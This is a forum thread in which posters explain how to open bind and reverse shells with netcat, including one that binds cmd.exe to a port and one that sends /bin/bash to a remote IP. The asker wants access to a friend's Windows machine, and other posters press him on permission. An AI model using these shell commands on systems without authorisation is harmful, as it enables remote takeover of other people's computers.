I am not going to touch the part about getting onto the target system.  That's up to you getting permission and doing your own research into remote code execution.  As for the basic way to simply get a port open, go onto the intergoogle and search "man netcat". 

To just get a listening port open on the target box:
nc -lvvp 4444   (that number can be any non-assigned port number)

To attach to the listening port from your testing system:
nc 192.168.1.100 4444   (adjust the IP and port number as needed)

To get the target system to give you a command prompt:
nc -lvvp 4444 -e cmd.exe  (the -e flag can be -c in some cases, this will open a port and bind it to cmd so that when you connect from another system you get a windows command prompt)

To get a reverse bind shell (you can't connect directly to the system because it's nat'ed):
on your testing system ->  nc -lvvp 4444
on the target system -> nc 66.67.68.69 4444 -e /bin/bash  (replace IP and port as necessary)

Note:  I am not posting these as "hacking tips" since these exact same commands are used for normal network administration.  In addition, you are going to need to have admin access to the target machine already to make this work.

First, please use proper spelling/grammar/punctuation, because it's getting hard to understand what you're saying. (And because you can't type like that in a business environment, and if you plan on doing this professionally like most of us do, it's just a good skill)

Second, tell us your whole situation.

-Is this your friend's computer?
-Do you have permission?
-Do you have physical access to the computer (i.e., can you walk over to it and use the keyboard)?
-Is a remote command prompt all you want?
-What is the point of doing this, so we can better understand?
-Do you know if there is a firewall on this computer?
-Is the computer on the same network as you (connected to the same router or hub) or are you trying to do this over the internet?

Yes,I have the physical acess!!!yes I can use the keyboard but at the same time I also want to know when I will be not able to have the physical acess then what should I do?
I know the ip-adress of my friend and he has a av installed no firewall!!He is using windowssp2!
If i want to gain the acess of that system then what I have to do!!

I agree with RoleReversal.

The most important thing here is to make sure you have permission to access your friend's machine.

After that, you already said there is no admin password. Login as admin, and try installing a program like netcat, like Pseud0 and RoleReversal said.